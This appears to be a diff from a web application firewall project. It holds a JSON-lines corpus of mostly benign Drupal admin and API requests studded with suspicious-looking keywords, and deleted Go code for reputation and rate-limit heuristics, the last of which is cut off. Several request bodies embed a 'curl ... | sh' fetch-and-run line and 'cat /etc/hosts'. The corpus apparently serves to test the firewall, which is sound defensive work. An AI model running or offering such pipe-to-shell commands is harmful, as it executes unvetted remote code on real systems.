{"method": "GET", "target": "/admin/content/files?filename=&filemime=wp-config.php&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=hello", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=python3", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=powershell", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=ls%20-la", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=.htaccess", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=docker-compose.yml&moderation_state=All", "headers":["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=docker-compose.yml&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/2/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/node/2/delete", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2/delete", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-hnGbBTfqMwKkGf8rHG1D2s_--brUB7ERWenxjTAV3LA&form_token=VhXEXVRRiAuV4qccGvDVSnGrooVZfRHrKiG51GM3yms&form_id=node_page_delete_form&op=Delete"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfrontpage%3Alocation%3Dpage%26name%3Dfrontpage%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=gzNq81gUc0srM04Gao-KDKP3JhZ8i_LinPcztlc970A"}
|
||||
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywImR5Ybat1GIxzuU", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\nPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-w_XtjjjeoarI94S-L4lSdIzOHi_x9Kgcm8noqTZQNB8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\nnwY4HfJ_Ywq9D0w8idDat-HyUFFrbgnBlO-ktsMr2r8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU--\r\n"}
|
||||
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_4.png.avif?itok=iF2vDKZ9", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/media/add/image", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMo0GuX6XENCyw7uS", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][alt]\"\r\n\r\nA powershell logo\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n16\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-dg7NXZ7td0XPIB6_GTT6JAprMPLoOBmXE6djXbPE4iI\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS--\r\n"}
|
||||
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"python3-/etc/hosts-1\"}"}
|
||||
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"SELECT a table: python3, ls -la and .htaccess\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example && ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\", \"summary\": \"Notes on python3 and powershell\"}}}}"}
|
||||
{"method": "PATCH", "target": "/jsonapi/node/article/d71c9e89-d9bd-4822-ba15-54bef9d26522", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\", \"attributes\": {\"title\": \"Edited: docker-compose.yml\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example && ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\"}}}}"}
|
||||
{"method": "POST", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"comment--comment\", \"attributes\": {\"entity_type\": \"node\", \"field_name\": \"comment\", \"subject\": \"Python3 question\", \"comment_body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example && ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"basic_html\"}}, \"relationships\": {\"entity_id\": {\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\"}}}}}"}
|
||||
@@ -1,58 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
||||
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||
// the score, when its score of the client is a hit, and refuses the request
|
||||
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||
// checked in the background, by the request's address, if its history counts
|
||||
// an offence, and the request does not wait for the answer. The score is then
|
||||
// used for each address of the client. Its figures are the score and
|
||||
// SWW_ABUSEIPDB_MIN_SCORE.
|
||||
type abuseIPDB struct{}
|
||||
|
||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||
|
||||
func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||
if rq.h.config.AbuseIPDBKey == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
client := rq.h.clientGroup(rq.client)
|
||||
held, _ := rq.h.limiter.Client(client)
|
||||
offender := held.History.Offences != ratelimit.Offences{}
|
||||
|
||||
score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
|
||||
if !hit {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.abuseIPDBHit = true
|
||||
rq.addTag(config.AbuseIPDBTag)
|
||||
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
||||
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
|
||||
|
||||
if rq.h.config.ReputationAction != deny {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{
|
||||
figureScore: score, "min_score": rq.h.config.AbuseIPDBMinScore,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1,129 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
// whole is the percentage of each limit a client gets when no biased
|
||||
// threshold lowers its limits.
|
||||
const whole = 100
|
||||
|
||||
// percentage is a client's limit percentage for the rate limits or for
|
||||
// the byte limits, as the biased thresholds give it, and the setting that
|
||||
// gave it: "" with whole when none lowers that kind of limit.
|
||||
type percentage struct {
|
||||
percent int64
|
||||
setting string
|
||||
}
|
||||
|
||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
|
||||
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
|
||||
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// then needed before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
|
||||
cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
|
||||
}
|
||||
|
||||
// limitPercentages returns the client's limit percentages, for the rate
|
||||
// limits and for the byte limits, by its tags, its AS number and country
|
||||
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
|
||||
// AbuseIPDB that list it. Each is the lowest of those the settings give
|
||||
// it, the first of them in the order below when several are lowest: the
|
||||
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
||||
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||
// other tags, for a client without a country, unless its request skipped
|
||||
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
||||
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
|
||||
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
||||
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
|
||||
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
|
||||
// take the place of the first three for an AS number or a country they
|
||||
// list.
|
||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
cfg := rq.h.config
|
||||
asn, country := rq.line.ASN, rq.line.Country
|
||||
|
||||
unknown := percentage{percent: whole}
|
||||
if country == "" && !rq.skippedLookupWait {
|
||||
